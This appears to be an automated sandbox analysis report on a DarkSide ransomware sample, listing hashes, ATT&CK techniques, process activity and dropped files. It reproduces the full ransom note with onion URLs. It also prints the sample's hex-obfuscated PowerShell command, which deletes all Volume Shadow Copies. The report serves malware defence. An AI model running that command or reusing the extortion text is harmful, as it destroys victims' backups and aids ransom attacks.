darkside | f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef

General

Target

f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Size

1.1MB
MD5

ec0e75c477fc54c92c47788bb9ccc034
SHA1

c7f2264d27ac44beb66f13d383f5ad6671750af0
SHA256

f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef
SHA512

db0408032dc4aade2533feb5261d2688c14a96e572712d45d4d7d6f30895061da8b76cabbbbb4ba9b93d2dda3c26f9d878d4c7c8c5e6df54958875dfad1bc740
SSDEEP

24576:RppmWj2AWJ2Shnp9KTWlaFK1HDe4JU0DFNKq5o2QZNQSGkZ2:RppmVMShnp9KSEFyHDzD3KqcZEW

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.ef6b5dca.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Darkside family
darkside
Renames multiple (167) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3944	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2624	5044	WerFault.exe	83

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
3944	powershell.exe
3944	powershell.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeSecurityPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeTakeOwnershipPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeLoadDriverPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeSystemProfilePrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeSystemtimePrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeProfSingleProcessPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeIncBasePriorityPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeCreatePagefilePrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeBackupPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeRestorePrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeShutdownPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeDebugPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeSystemEnvironmentPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeRemoteShutdownPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeUndockPrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeManageVolumePrivilege	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: 33	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: 34	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: 35	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: 36	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
Token: SeDebugPrivilege	3944	powershell.exe
Token: SeBackupPrivilege	6060	vssvc.exe
Token: SeRestorePrivilege	6060	vssvc.exe
Token: SeAuditPrivilege	6060	vssvc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 3944	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe	84
PID 5044 wrote to memory of 3944	5044	f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe	84

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe
"C:\Users\Admin\AppData\Local\Temp\f42bcc81c05e8944649958f8b9296c5523d1eb8ab00842d66530702e476561ef.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3944
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 916
  2⤵
  - Program crash
  PID:2624

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 224 -p 5044 -ip 5044
1⤵
PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
4521e67a3b03b060fde700c36d3b9297

SHA1
4a730cd86dc7a57ac001d59853dd500c1b83b4ab

SHA256
a72aa223a84c4fa011c8a2b0ef2475a83d5123de2cdfa6a7160231729e68383d

SHA512
90235850eef71c2f0921d04e6990147af9e76fec8ee49e12e6a5bab065ff0e63331a54be845026f17a7b1dd230ee94843099db4813c127c6bafb8cbaf59b753f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
68f1fd10d7d7b8885ed45d8451a89c9e

SHA1
358aef85c7599e6818a7ea28eedfe1670cf365b6

SHA256
99ba4a513afbe189d3e8ad82557ee210f0aa434d92c91e6319c0755a1a78d673

SHA512
a35c2b933fae8ef367b87f5c7b8c21328ef78f92dee86ecd5018bbfe46469357b6a4c7927e8cdfb83a094f687e47fb4f9843252372b70e1a8fec78ab679dea19

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uq1woerz.4ac.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.ef6b5dca.TXT

Filesize
2KB

MD5
25d0b19a0ec34a39dfa3e177866f01a3

SHA1
a3704d1f6499738ccd694bdd6008a850c6b2e453

SHA256
f030ee74e406acb06d43e73c5127df0206e8affc85b95e9895b100d89391dea8

SHA512
ede7562f04b5f9abf792196ae87d82e14d651dc70e9a5b5ec0e9cb14d13aba27f8ebfacda2191de48dff882131dfad8c7bad51e7fb89b71dd3bbe748adc77198

Download Submit
memory/3944-12-0x00007FF87ECE0000-0x00007FF87F7A2000-memory.dmp

Filesize
10.8MB

Download
memory/3944-13-0x00007FF87ECE0000-0x00007FF87F7A2000-memory.dmp

Filesize
10.8MB

Download
memory/3944-14-0x00007FF87ECE0000-0x00007FF87F7A2000-memory.dmp

Filesize
10.8MB

Download
memory/3944-17-0x00007FF87ECE0000-0x00007FF87F7A2000-memory.dmp

Filesize
10.8MB

Download
memory/3944-11-0x000001D4EC940000-0x000001D4EC962000-memory.dmp

Filesize
136KB

Download
memory/3944-1-0x00007FF87ECE3000-0x00007FF87ECE5000-memory.dmp

Filesize
8KB

Download
memory/5044-0-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download
memory/5044-231-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download
memory/5044-232-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download
memory/5044-234-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download
memory/5044-236-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download
memory/5044-237-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download
memory/5044-239-0x0000000000400000-0x000000000076F000-memory.dmp

Filesize
3.4MB

Download

Analysis

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